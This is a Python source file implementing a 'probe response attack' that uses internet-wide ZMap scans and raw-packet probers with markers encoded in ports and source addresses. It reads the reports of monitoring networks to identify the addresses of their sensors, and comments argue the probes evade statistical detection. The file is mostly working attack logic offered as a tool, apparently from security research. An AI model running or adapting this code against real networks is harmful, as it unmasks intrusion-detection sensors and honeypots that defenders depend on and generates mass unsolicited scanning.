attack_logic.py 29 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727
  1. import os
  2. import logging
  3. import threading
  4. import re
  5. import pickle
  6. import os.path
  7. import time
  8. import math
  9. import struct
  10. import queue
  11. from multiprocessing import Process, SimpleQueue
  12. from group import Group
  13. import scanner_wrapper
  14. import group_handler
  15. import ipv4
  16. from utility import ip_str_to_bytes
  17. from pypacker.checksum import fletcher32
  18. from pypacker.psocket import SocketHndl
  19. from pypacker.layer12 import ethernet
  20. from pypacker.layer3 import ip
  21. from pypacker.layer4 import tcp
  22. split_equal = re.compile("=+").split
  23. split_space = re.compile(" +").split
  24. split_tab = re.compile("\t").split
  25. split_comma = re.compile(",").split
  26. split_slash = re.compile("/").split
  27. unpack_port = struct.Struct(">H").unpack
  28. pack_checksum = struct.Struct(">I").pack
  29. pack_port = struct.Struct(">H").pack
  30. pack_marker = struct.Struct(">Q").pack
  31. pack_byte = struct.Struct(">B").pack
  32. pack_markervalue = struct.Struct(">I").pack
  33. unpack_marker = struct.Struct(">Q").unpack
  34. unpack_markervalue = struct.Struct(">Q").unpack
  35. IPv4Address = ipv4.IPv4Address
  36. IPv4Network = ipv4.IPv4Network
  37. ENCODE_PORT_DST = 1
  38. ENCODE_IP_SRC = 2
  39. ENCODE_PORT_SRC = 4
  40. logger = logging.getLogger("pra_framework")
  41. class ProbeResponseAttackLogic(object):
  42. """
  43. Implemenration of the probe response attack using dedicated scanner for probing.
  44. Workflow:
  45. >> Stage 1:
  46. - Send probes without creating initial groups (saves state information) -> create Groups WHILE scanning
  47. - Get result and add Groups to _iterations[index_iteration]
  48. - Create groups: Check scanner feedback and re-group per sub-group based on it
  49. >> Stage 2:
  50. - Create Ggroups before scanning (first time: after stage 1/iteration 1)
  51. - Set amount of subgroups based on amount of responses
  52. - Continue scanning until no groups are left
  53. The destination address can be encoded into different parts of markers like
  54. source IP address, source port, destination port etc.
  55. Pre-filtering of noisy values:
  56. - Noisy marker values do not get pre-filtered as this problem can be effectively
  57. mitigated using a trade off between marker/checksum-bits.
  58. Detection mitigation:
  59. - Avoiding low-noise markers to avoid detection does not seem to be necessary
  60. as low noise markers like destination ports would appear with a low frequency
  61. -> sending 65535 (dst port) * (other marker) values will appear approximately
  62. "amount of sensors" * y times for every attack iterations, which is likely to be a
  63. low number for a specific port "p", which is hard to detect as statistic anomaly.
  64. """
  65. PROP_DEFAULTS = {
  66. # network options
  67. "interface_name": "eth0",
  68. "mac_source": None,
  69. "mac_gw": None,
  70. # source IP, mainly intended for native probes
  71. "ip_src": "1.1.1.1",
  72. "rate_kbit_per_s": 1000,
  73. # marker options
  74. "marker_encoding": 0,
  75. "markerbits_value": 24,
  76. "markerbits_checksum": 8,
  77. # directory to save all data related to a attack cycle (trailing slash)
  78. "base_dir_save": "./",
  79. # directory which contains "src/zmap"
  80. "base_dir_zmap": "../zmap",
  81. "disable_monitor": 1,
  82. "verbosity": 3,
  83. "report_fetcher_classname": "TracingReportFetcher",
  84. # state info. Should only be changed by internal logic.
  85. # stage 1 or 2 (initial 0)
  86. #"_stage": 0,
  87. # index to _iterations where most rectent groups get stored
  88. "_group_storeindex": 0,
  89. "use_feedback_ips": False,
  90. "use_plus1": False,
  91. # TODO: change for testing
  92. "is_simulation": False,
  93. # debugging options
  94. # avoid scanning the whole network -> limit to a subnet (default is: scan whole IPv4 - blacklist)
  95. "_ip_stage1": "0.0.0.0",
  96. "_cidr_bits_stage1": 0
  97. }
  98. def __init__(self, **kwargs):
  99. # set default values, will be overwritten by config variables
  100. # parameter hierarchy: default -> constructor
  101. for prop, default in ProbeResponseAttackLogic.PROP_DEFAULTS.items():
  102. setattr(self, prop, kwargs.get(prop, default))
  103. logger.debug("config: %s = %s" % (prop, kwargs.get(prop, default)))
  104. self._running = False
  105. # current scan processes
  106. self._current_scans = []
  107. # Files
  108. self._filename_state_groups = os.path.join(self.base_dir_save, "state_groups.bin")
  109. # contains information like: ip -> response type
  110. self._filename_scannerresponse_stage1 = os.path.join(self.base_dir_save, "scanner_response.csv")
  111. if self.is_simulation:
  112. self._filename_ip_blacklist = os.path.join(self.base_dir_zmap, "blacklist.conf_simulation")
  113. self._filename_ip_whitelist = None
  114. else:
  115. self._filename_ip_blacklist = os.path.join(self.base_dir_zmap, "blacklist.conf")
  116. #self._filename_ip_whitelist = os.path.join(self.base_dir_zmap, "whitelist.conf")
  117. self._filename_ip_whitelist = None
  118. self._filename_ip_blacklist_plus_feedback_ips = os.path.join(self.base_dir_save, "blacklist_plus_feedback_addr.conf")
  119. self._filename_full_report = os.path.join(self.base_dir_save, "report_fetcher_responses.csv")
  120. self._filename_identified_monitors = os.path.join(self.base_dir_save, "identified_monitors.csv")
  121. self._dirname_scanner_logs = self.base_dir_save
  122. self.set_report_fetcher_class(self.report_fetcher_classname)
  123. self._report_fetcher = None
  124. self.attack_thread = None
  125. self.marker_bits_total = self.markerbits_value + self.markerbits_checksum
  126. self.marker_bytes_total = math.ceil((self.markerbits_value + self.markerbits_checksum)/8)
  127. # amount of bits to shift marker value to make it 4 bytes from the left
  128. # bits=9: 0000 0000 0000 0000 0000 0001 1111 1111 -> left shift=23 -> 1111 1111 1000 0000....
  129. self.marker_value_leftshit = 32 - self.markerbits_value
  130. self.marker_value_bytes_amount = math.ceil(self.markerbits_value/8)
  131. self.marker_value_amount = 2 ** self.markerbits_value
  132. # By using pl1 groups we are saving/getting additional "amount of new subgroups" marker values
  133. logger.debug("total amount of marker VALUES: %d (plus1: %r)" % (self.marker_value_amount, self.use_plus1))
  134. logger.debug("initial scan: %r/%r" % (self._ip_stage1, self._cidr_bits_stage1))
  135. # Example: 5 marker values:, _log_2(5)_ = 2 -> 2 Bits = 4 Subgroups
  136. self.cidr_bits_stage1 = math.floor(math.log(self.marker_value_amount, 2))
  137. self.marker_checksum_bytes_amount = math.ceil(self.markerbits_checksum / 8)
  138. # Groups which got/get scanned.
  139. # [[start, stop], {marke: Group}, total groups, total addresses]
  140. self._iterations = []
  141. self._iterations.append([[0, 0], {}, 0, 0])
  142. initial_group = Group(ip_network_object=IPv4Network(nw_ip_str=self._ip_stage1,
  143. prefixlen=self._cidr_bits_stage1),
  144. response_count=0)
  145. self._root_group_name = b"ROOT_GROUP_PRA"
  146. self._iterations[0][1][self._root_group_name] = initial_group
  147. addresses_root = 2 ** (32 - self._cidr_bits_stage1)
  148. self._iterations[0][2] = min(self.marker_value_amount, addresses_root)
  149. self._iterations[0][3] = addresses_root
  150. self._group_storeindex = 0
  151. """
  152. if self.markerbits_value % 8 != 0 or self.markerbits_checksum % 8 !=0:
  153. logger.warning("markerbits not multiple of 8, value/checksum = %r/%r" %
  154. (self.markerbits_value, self.markerbits_checksum))
  155. """
  156. # native prober
  157. # TODO: adjust this on other platforms
  158. self._native_prober_amount = 5
  159. self._native_prober_sockets = []
  160. self._native_prober_conn_send = []
  161. self._native_prober_processes = []
  162. self._native_prober_conn_send_index = 0
  163. self._groupqueue = SimpleQueue()
  164. self._blacklist = set()
  165. # { top group marker value -> set(feedback_address1, feedback_address2, ...)}
  166. self._blacklist_toptoipv4obj = {}
  167. self._grouphandler = group_handler.GroupHandler(self.marker_value_amount,
  168. self.use_plus1,
  169. self._create_marker_bitlevel)
  170. self._initial_count = 0
  171. def set_report_fetcher_class(self, classname):
  172. if self._running:
  173. return
  174. # get report fetcher by classname
  175. fetcher_module = __import__("report_fetcher")
  176. try:
  177. logger.debug("setting report fetcher class: %s" % classname)
  178. self._reportfetcher_class = getattr(fetcher_module, classname)
  179. except:
  180. raise Exception("could not load Report Fetcher class! Is it implemented in report_fetcher.py?")
  181. def _report_values_to_marker(self, ip_source, port_src, port_dst):
  182. """
  183. Combines all markers given by a report in the correct order. Unused parts are left out.
  184. return -- markervalue (int), markerchecksum (int), marker (bytes)
  185. """
  186. bts = []
  187. if self.marker_encoding & ENCODE_PORT_DST == ENCODE_PORT_DST:
  188. bts.append(pack_port(port_dst))
  189. if self.marker_encoding & ENCODE_IP_SRC == ENCODE_IP_SRC:
  190. bts.append(ip_str_to_bytes(ip_source))
  191. if self.marker_encoding & ENCODE_PORT_SRC == ENCODE_PORT_SRC:
  192. bts.append(pack_port(port_src))
  193. bts = b"".join(bts)
  194. #logger.debug("decoding: %s" % bts)
  195. markervalue_and_checksum = int.from_bytes(bts, "big")
  196. #logger.debug("report full marker: %s=%d" % (bts, markervalue_and_checksum))
  197. # marker value: b"AAAA AAAA AAAA AABB" -> b"00AA AAAA AAAA AAAA"
  198. # marker checksum: b"AAAA AAAA AAAA AABB" -> b"0000 0000 0000 00BB"
  199. marker_length = self.marker_bits_total
  200. return (markervalue_and_checksum >> (marker_length - self.markerbits_value)),\
  201. markervalue_and_checksum & (0xFFFFFFFFFFFFFFFF >> (64 - self.markerbits_checksum)),\
  202. bts
  203. def _create_checksum_bitlevel(self, markervalue):
  204. """
  205. Create a checksum using value markervalue
  206. markervalue -- integer to create checksum from (non padded)
  207. return -- checksum as integer
  208. """
  209. marker_value_leftshifted = markervalue << self.marker_value_leftshit
  210. marker_value_bytes_forchecksum = pack_markervalue(marker_value_leftshifted)
  211. #logger.debug("padded marker value before checksum: %s" % marker_padded)
  212. #return pack_checksum(fletcher32(marker_padded, len(marker_padded)/2)), marker_padded
  213. #checksum_int = fletcher32(marker_value_bytes_forchecksum, len(marker_value_bytes_forchecksum)/2) & 0xFFFFFFFF
  214. return fletcher32(marker_value_bytes_forchecksum, 2) >> (32 - self.markerbits_checksum)
  215. def _create_marker_bitlevel(self, marker_value_int_to_encode):
  216. """
  217. Create a new marker like [marker][checksum] from the given value_int.
  218. marker value:
  219. 291 -> b"00000123" (hex) -> b"000123" (marker value: eg 3 bytes)
  220. -> chk = checksum(b"000123" -> b"00012300") = b"abcdefgh"
  221. -> b"000123" (marker value) + b"abcdefgh"[:checksum_len] (marker checksum)
  222. Resulting marker (3 value bytes, 2 checksum bytes): b"000123abcdefgh" -> b"000123abcd"
  223. WARNING: this assumes self.marker_bits_total % 8 == 0 is True (otherwise shift resulting marker to the left)
  224. """
  225. checksum_int = self._create_checksum_bitlevel(marker_value_int_to_encode)
  226. # take marker value from left, cut off marker bits from right
  227. marker_int = (marker_value_int_to_encode << self.markerbits_checksum) | checksum_int
  228. #logger.debug("new marker value orig/marker value for checksum/checksum is = %s/%s/%s" %
  229. # (marker_value, marker_value_padded, marker_checksum))
  230. # INFO: if self.marker_bits_total is not divisible by 8 without rest: shift self.marker_bits_total % 8 to right
  231. return pack_marker(marker_int)[-self.marker_bytes_total:]
  232. def _read_scanner_feedback_addresses(self):
  233. """
  234. Read scanner feedback addresses gathered from stage 1. Additionally this updates
  235. _filename_ip_blacklist_plus_feedback_ips to contain all blacklisted IPs (including feedback ones).
  236. """
  237. if not os.path.exists(self._filename_scannerresponse_stage1):
  238. logger.warn("could not find response file at: %s" % self._filename_scannerresponse_stage1)
  239. return []
  240. logger.debug("reading feedback file")
  241. fd = open(self._filename_scannerresponse_stage1, "r")
  242. # skip header
  243. fd.readline()
  244. # File format of feedback file:
  245. # classification,saddr,daddr,daddr_inner_icmp,sport,dport,success
  246. # rst,1.0.0.0,1.1.1.1,(None),256,2,0
  247. # synack,1.0.0.1,1.1.1.1,(None),256,2,1
  248. self._blacklist.clear()
  249. self._blacklist_toptoipv4obj.clear()
  250. groups_stage1 = self._iterations[1][1]
  251. # found IP -> remove trailing/unused bits: (found IP) >> (IPv4 length - (marker value bits))
  252. bits_shift_ip = 32 - self.markerbits_value
  253. for line in fd:
  254. columns = split_comma(line)
  255. if len(columns) < 4:
  256. logger.warning("not enough columns in CSV file: %r" % columns)
  257. continue
  258. # CSV format: type,ip src (attack target), ip dst,ip extern (our extern ip),...
  259. responsetype = columns[0]
  260. # assume everything other than ICMP are potential monitor nodes
  261. if not responsetype.startswith("icmp"):
  262. address = columns[1]
  263. else:
  264. continue
  265. # assume ICMP unreachable indicates no monitor node
  266. try:
  267. # convert ip to marker value and check if its belongs to a found group
  268. # this is MUCH faster than checking every single group
  269. address_obj = IPv4Address(ip_str=address)
  270. # 1.2.3.4 -> 1.2 = marker value
  271. top_group_markervalue = address_obj.ip_int >> bits_shift_ip
  272. if not top_group_markervalue in groups_stage1:
  273. #logger.derbug("skipping IP not belonging in initial groups: %r" % address_obj)
  274. continue
  275. except Exception as ex:
  276. logger.warning("invalid IPv4 address in feedback file: %r" % address)
  277. print(ex)
  278. continue
  279. # this is a bit redundant but doesn't hurt
  280. if address_obj.packed not in self._blacklist:
  281. self._blacklist.add(address_obj.packed)
  282. else:
  283. # already saved
  284. # skip adding the address to the _blacklist_toptoipv4obj list
  285. continue
  286. try:
  287. self._blacklist_toptoipv4obj[top_group_markervalue].append(address_obj)
  288. except KeyError:
  289. self._blacklist_toptoipv4obj[top_group_markervalue] = [address_obj]
  290. fd.close()
  291. logger.debug("amount feedback addresses: %d" % len(self._blacklist))
  292. # update extended blacklist file
  293. logger.debug("updating extended blacklist file")
  294. fd_read = open(self._filename_ip_blacklist, "r")
  295. blacklist_standard = fd_read.read()
  296. fd_read.close()
  297. fd_write = open(self._filename_ip_blacklist_plus_feedback_ips, "w")
  298. fd_write.write(blacklist_standard)
  299. for top_group_markervalue, addresses in self._blacklist_toptoipv4obj.items():
  300. for addr in addresses:
  301. fd_write.write("%s/32\n" % addr.compressed)
  302. fd_write.close()
  303. def _addentry_callback(self, ip_source, port_src, port_dst):
  304. """
  305. Callback called by reportfetcher if a new reponse was found.
  306. ip_source -- IPv4 address as string
  307. port_src -- source port as int
  308. port_dst -- destination port as int
  309. """
  310. marker_value_report_int, marker_checksum_report_int, marker_report = self._report_values_to_marker(ip_source,
  311. port_src,
  312. port_dst)
  313. #logger.debug("from report: marker value=%d, checksum=%d, full marker=%s" %
  314. # (marker_value_report_int, marker_checksum_report_int, marker_report))
  315. marker_checksum_gen = self._create_checksum_bitlevel(marker_value_report_int)
  316. #logger.debug("comparing checksum: new/report = %s/%s" % (checksum_gen, marker_checksum_report))
  317. # compare via startswith: checksum could only be partially encoded
  318. # skip values having invalid checksums, ignore if no checksum is used
  319. if marker_checksum_report_int != marker_checksum_gen and self.markerbits_checksum != 0:
  320. #logger.debug("checksum didn't match (YOLO): %r!=%r" % (
  321. # marker_checksum_report_int, marker_checksum_gen))
  322. return
  323. # logger.debug("checksum matched!!!")
  324. if self._group_storeindex == 1:
  325. group_dict_current = self._iterations[1][1]
  326. if marker_value_report_int in group_dict_current:
  327. group_dict_current[marker_value_report_int].response_count += 1
  328. """
  329. logger.debug("incremented response count: group=%r, count=%d" %
  330. (group_dict_current[marker_report], group_dict_current[marker_report].response_count))
  331. """
  332. else:
  333. # create initial entries
  334. # marker value is actually (part of) our IP address in the first stage
  335. ip_int = marker_value_report_int << (32 - self.markerbits_value)
  336. try:
  337. ip_network = IPv4Network(nw_ip_int=ip_int, prefixlen=self.cidr_bits_stage1)
  338. newgroup = Group(ip_network_object=ip_network, response_count=1)
  339. """
  340. self._initial_count += 1
  341. if self._initial_count % 100 == 0:
  342. logger.debug("%d: creating initial group based on report response: marker=%s, group=%r" %
  343. (self._initial_count, marker_report, newgroup))
  344. """
  345. self._iterations[0][1][self._root_group_name].add_subgroup(newgroup)
  346. group_dict_current[marker_value_report_int] = newgroup
  347. except Exception as ex:
  348. logger.warning("could not create initial group (first stage), correct checksum but wrong network? ip=%r" % ip_int)
  349. print(ex)
  350. else:
  351. group_dict_current = self._iterations[self._group_storeindex][1]
  352. # add entries for iteration >= 2
  353. try:
  354. # group should be created until now
  355. # this can additionally filter out noise as groups are created incrementally
  356. subgroup = group_dict_current[marker_value_report_int]
  357. #if random.random() > 0.5:
  358. # logger.debug("marker value=%d" % marker_value_report_int)
  359. subgroup.response_count += 1
  360. # connect to top group to subgroup if not yet known
  361. # sub groups not connected get deleted at the end of each iteration
  362. # subgroup was not yet added, do it now
  363. if subgroup.response_count == 1:
  364. subgroup.top_group.add_subgroup(subgroup)
  365. except KeyError:
  366. """
  367. logger.warning("checksum correct but marker value %r not found for response (total: %d), "
  368. "marker=%r -> not counting" % (
  369. marker_value_report_int, len(group_dict_current), marker_report))
  370. """
  371. #logger.warning("ip=%r, port src=%r, port dst=%r" % (ip_source, port_src, port_dst))
  372. pass
  373. def _save_state(self):
  374. """
  375. Save the current group state using python pickle format.
  376. """
  377. logger.debug("saving state to: %s" % self._filename_state_groups)
  378. fd_state = open(self._filename_state_groups, "wb")
  379. pickle.dump(self._iterations, fd_state)
  380. fd_state.close()
  381. logger.debug("finished saving state")
  382. def start(self):
  383. """
  384. Starts the PRA attack.
  385. """
  386. if self._running:
  387. logger.debug("can not start: attack is already running")
  388. return
  389. # init report fetcher
  390. self._report_fetcher = self._reportfetcher_class(self._addentry_callback,
  391. self._filename_full_report)
  392. self._running = True
  393. self.attack_thread = threading.Thread(target=self._do_attack)
  394. self.attack_thread.start()
  395. def stop(self):
  396. """
  397. Stops the PRA attack.
  398. """
  399. if not self._running:
  400. logger.warning("Scanner is not running -> nothing to stop")
  401. return
  402. self._running = False
  403. logger.debug("stopping any scan processes")
  404. for scanner in self._current_scans:
  405. scanner.stop()
  406. for sock in self._native_prober_sockets:
  407. sock.close()
  408. for proc in self._native_prober_processes:
  409. proc.terminate()
  410. addresses_found_amount = sum([gti[0].amount_addresses for gti in self._grouphandler.identified_groups])
  411. logger.info("found %d addresses, saving to: %s" % (addresses_found_amount, self._filename_identified_monitors))
  412. fd_write = open(self._filename_identified_monitors, "w")
  413. fd_write.write("address\ttimestamp\titeration\n")
  414. for group_timestamp_iteration in self._grouphandler.identified_groups:
  415. ts = group_timestamp_iteration[1]
  416. iteration = group_timestamp_iteration[2]
  417. for address in group_timestamp_iteration[0].addresses:
  418. line = "%s\t%d\t%d\n" % (address, ts, iteration)
  419. fd_write.write(line)
  420. #logger.debug(line.strip())
  421. fd_write.close()
  422. self._save_state()
  423. def _start_native_prober(self):
  424. """
  425. Initiate processes to probe using a native python implementation.
  426. """
  427. self._native_prober_conn_send.clear()
  428. for cnt in range(self._native_prober_amount):
  429. socket_hndl = SocketHndl(iface_name=self.interface_name, buffersize_send=2 ** 28)
  430. self._native_prober_sockets.append(socket_hndl)
  431. proc = Process(target=self._probe_native_cycler, args=(cnt,
  432. socket_hndl,
  433. self._groupqueue,
  434. self._blacklist,
  435. self.mac_source,
  436. self.mac_gw,
  437. self.ip_src,
  438. self.marker_encoding))
  439. self._native_prober_processes.append(proc)
  440. proc.start()
  441. logger.debug("waiting some seconds for processess to settle")
  442. time.sleep(1)
  443. def _probe_native_cycler(self, cnt, sockethndl, groupqueue, ip_blacklist, mac_src_s, mac_dst_s, ip_src_s, marker_encoding):
  444. """
  445. A native prober cycler to be used with processes.
  446. """
  447. logger.debug("starting probing process No.%d" % cnt)
  448. #basepacket = ethernet.Ethernet(dst_s=mac_dst_s, src_s=mac_src_s) +\
  449. basepacket = ethernet.Ethernet(dst_s=mac_dst_s, src_s=mac_src_s) +\
  450. ip.IP(src_s=ip_src_s, dst_s="1.2.3.4") +\
  451. tcp.TCP(sport=50821)
  452. #logger.debug("basepacket: %r" % basepacket)
  453. send = sockethndl.send
  454. ip_obj = basepacket.body_handler
  455. ip_obj_bin = ip_obj.bin
  456. tcp_obj = ip_obj.tcp
  457. ether_bytes = basepacket.header_bytes
  458. # initialize paket data
  459. basepacket.bin()
  460. queue_get = groupqueue.get
  461. while True:
  462. marker, addresses_bytes, is_cidr = queue_get()
  463. # blacklists are only used for CIDR groups, single adresses were created by feedback IPs
  464. #logger.debug("sending...")
  465. for ip_address in addresses_bytes:
  466. # single addresses or (cidr and not in blacklist)
  467. if is_cidr and ip_address in ip_blacklist:
  468. #logger.debug("not sending because in blacklist: addr=%r, CIDR=%r" % (ip_address, is_cidr))
  469. continue
  470. ip_obj.dst = ip_address
  471. bytes_used = 0
  472. #if cnt % 2000 == 0:
  473. # logger.debug("%d: placing marker: %r" % (self._group_storeindex, marker))
  474. # #time.sleep(0.2)
  475. #cnt += 1
  476. # this assumes that all marker types are fully used
  477. if marker_encoding & ENCODE_PORT_DST == ENCODE_PORT_DST:
  478. tcp_obj.dport = unpack_port(marker[: 2])[0]
  479. bytes_used += 2
  480. if marker_encoding & ENCODE_IP_SRC == ENCODE_IP_SRC:
  481. ip_obj.src = marker[bytes_used: bytes_used + 4][0]
  482. bytes_used += 4
  483. if marker_encoding & ENCODE_PORT_SRC == ENCODE_PORT_SRC:
  484. tcp_obj.sport = unpack_port(marker[bytes_used: bytes_used + 2])[0]
  485. # TODO: use update_auto_fields=False for faster packet creation
  486. send(ether_bytes + ip_obj_bin())
  487. #send(ether_bytes + ip_obj_bin(update_auto_fields=False))
  488. def _do_attack(self):
  489. """
  490. Main attack loop to cycle through iterations until all monitors have been found.
  491. """
  492. group_handler_obj = self._grouphandler
  493. while self._running:
  494. self._iterations.append([[0, 0], {}, 0, 0])
  495. self._group_storeindex += 1
  496. self._iterations[self._group_storeindex][0] = [time.time(), 0]
  497. logger.info("new attack round! group store index: %d" % self._group_storeindex)
  498. # after initial full scan
  499. if self._group_storeindex >= 2:
  500. logger.info("initiating subgrouping using group handler, top groups=%d" % len(self._iterations[self._group_storeindex - 1][1]))
  501. if self.use_feedback_ips and self._group_storeindex == 2:
  502. self._read_scanner_feedback_addresses()
  503. # create subgroups from groups of last round
  504. group_handler_obj.init_subgroup_creating(self._iterations[self._group_storeindex - 1][1],
  505. self._iterations[self._group_storeindex][1],
  506. self._blacklist_toptoipv4obj)
  507. if group_handler_obj.state == group_handler.STATE_FINISHED:
  508. logger.info("no groups left to scan, all monitors found")
  509. self._iterations[self._group_storeindex][0][1] = time.time()
  510. break
  511. elif self._group_storeindex > 1:
  512. logger.debug("letting group handler create some groups in advance..")
  513. time.sleep(10)
  514. self._report_fetcher.before_scanning()
  515. # limit scanner feedback saving to first iteration
  516. filename_output_csv = self._filename_scannerresponse_stage1 if self._group_storeindex == 1 else None
  517. if self._group_storeindex == 2:
  518. # scanner feedback should have been read by now, start native probe which need the blacklist
  519. self._start_native_prober()
  520. cnt = 0
  521. # scan groups until handler has no groups left or we are initially scanning in stage 1
  522. while group_handler_obj.state != group_handler.STATE_INACTIVE or self._group_storeindex == 1:
  523. """
  524. # Iteration 0: [g_r00t]
  525. # Iteration 1: [g1], [g2], ... <- auto-created by response (we did not create '+1'-groups)
  526. # Iteration 2: [g1, +1][g2, +1] <- updated by group handler
  527. """
  528. group = None
  529. # this is skipped in the first iteration
  530. if self._group_storeindex >= 2:
  531. while group is None and group_handler_obj.state != group_handler.STATE_INACTIVE:
  532. try:
  533. # this blocks until a new group is available
  534. # logger.debug("next group..")
  535. group = group_handler_obj.get_next_subgroup()
  536. #logger.debug("got a group from grouphandler, marker=%r, group=%r" %
  537. # (group.marker_bytes, group))
  538. except queue.Empty:
  539. # loop over timeouts until we got a group or state of grouphandler changes
  540. #logger.debug("Empty...")
  541. time.sleep(1)
  542. pass
  543. # no groups left, break scan loop
  544. if group is None:
  545. break
  546. else:
  547. # initial scan? -> take initial group
  548. group = self._iterations[0][1][self._root_group_name]
  549. cnt += 1
  550. #if cnt % 10000 == 0:
  551. # logger.debug("scan loop %d" % cnt)
  552. if group.is_plus1:
  553. # logger.debug("got a +1 group, not sending: %r" % group)
  554. continue
  555. # group size is too small: send probes via native implementation.
  556. # using a ZMap would be too ineffective: Trade off between
  557. # cost of creating a scan process (ZMap) vs. native probe costs
  558. if (group.amount_addresses < 5000 or group.group_type == Group.GROUP_TYPE_SINGLE_ADDRESSES)\
  559. and self._group_storeindex != 1:
  560. if cnt % 100000 == 0:
  561. logger.info("adding %d address for native probing, cnt=%d, queue grouphandler=%d" %
  562. (group.amount_addresses, cnt, len(self._grouphandler._group_queue)))
  563. #if self._group_storeindex >= 2:
  564. # logger.debug("group=%r, CIDR=%r" % (group, group.group_type == Group.GROUP_TYPE_CIDR))
  565. self._groupqueue.put([group.marker_bytes,
  566. group.addresses_single_bytes,
  567. group.group_type == Group.GROUP_TYPE_CIDR])
  568. #time.sleep(0.1)
  569. else:
  570. blacklist = self._filename_ip_blacklist
  571. if self.use_feedback_ips and self._group_storeindex >= 2 and group.group_type == Group.GROUP_TYPE_CIDR:
  572. # use extended blacklist file for CIDR (avoid scanning of single IPs which
  573. # are already scanned by separate groups)
  574. blacklist = self._filename_ip_blacklist_plus_feedback_ips
  575. self._current_scans.clear()
  576. #if group.amount_addresses > 499:
  577. logger.debug("probing via zmap: max amount addresses=%r, group=%r, markervalue=%r" %
  578. (group.amount_addresses, group, group.marker_value_int))
  579. # time.sleep(2)
  580. scan_timeout = -1
  581. # TODO: just for testing: stop scanning after x seconds
  582. """
  583. if self._group_storeindex == 1:
  584. scan_timeout = 60 * 60
  585. #scan_timeout = 10
  586. logger.debug("limiting scan to %d seconds" % scan_timeout)
  587. """
  588. # group.markervalue: this is None in the first stage -> encode target address
  589. # checksum: ZMap module got his own implementation which is needed by stage 0
  590. # (create checksum of IP addresses from whole IPv4 address range)
  591. scanner = scanner_wrapper.ZmapWrapper(
  592. filename_output_csv=filename_output_csv,
  593. filename_blacklist_target_ip=blacklist,
  594. filename_whitelist_target_ip=self._filename_ip_whitelist,
  595. # TODO: comment in to save scanner logs, disables scanner feedback!
  596. #dirname_logs=self._dirname_scanner_logs,
  597. rate_kbit_per_s=self.rate_kbit_per_s,
  598. interface_name=self.interface_name,
  599. mac_source=self.mac_source,
  600. mac_gw=self.mac_gw,
  601. marker_encoding=self.marker_encoding,
  602. markervalue=group.marker_value_int,
  603. markerbits_value=self.markerbits_value,
  604. markerbits_checksum=self.markerbits_checksum,
  605. disable_monitor=self.disable_monitor,
  606. verbosity=3,
  607. dir_zmap=self.base_dir_zmap,
  608. target_addresses=group.addresses,
  609. fast_mode=False,
  610. scan_timeout=scan_timeout)
  611. self._current_scans.append(scanner)
  612. scanner.start()
  613. self._current_scans.clear()
  614. # we don't use the grouphandler so we have to break here
  615. if self._group_storeindex == 1:
  616. break
  617. while self._grouphandler.queuesize > 0:
  618. logger.debug("waiting until all queued native probes have been processed, queue: %d" % self._grouphandler.queuesize)
  619. time.sleep(5)
  620. while not self._groupqueue.empty():
  621. logger.debug("waiting until group queue has been emptied")
  622. time.sleep(5)
  623. self._report_fetcher.after_scanning()
  624. self._iterations[self._group_storeindex][0][1] = time.time()
  625. logger.info("duration of round %d: %d seconds, groups (should be unchanged)=%d" % (
  626. self._group_storeindex,
  627. int(self._iterations[self._group_storeindex][0][1] - self._iterations[self._group_storeindex][0][0]),
  628. len(self._iterations[self._group_storeindex][1])))
  629. if self._group_storeindex >= 2:
  630. if self.use_plus1:
  631. group_handler_obj.update_plus1_subgroups(self._iterations[self._group_storeindex - 1][1])
  632. self._iterations[self._group_storeindex][2] = len(self._iterations[self._group_storeindex][1])
  633. self._iterations[self._group_storeindex][3] = sum([group.amount_addresses
  634. for _,group in self._iterations[self._group_storeindex][1].items()])
  635. group_handler_obj.remove_empty_groups(self._iterations[self._group_storeindex][1])
  636. self.stop()
  637. def get_amount_of_probes(self):
  638. """
  639. Return the total amount of probes (or network packets) sent out.
  640. """
  641. # - Single feedback addresses could have been scanned: remove redundant counted single addresses
  642. # len([group1, group2]) -> len([singleaddr_group1, group1-singleaddr_group1, ...])
  643. return self._grouphandler.addresses_total - len(self._blacklist)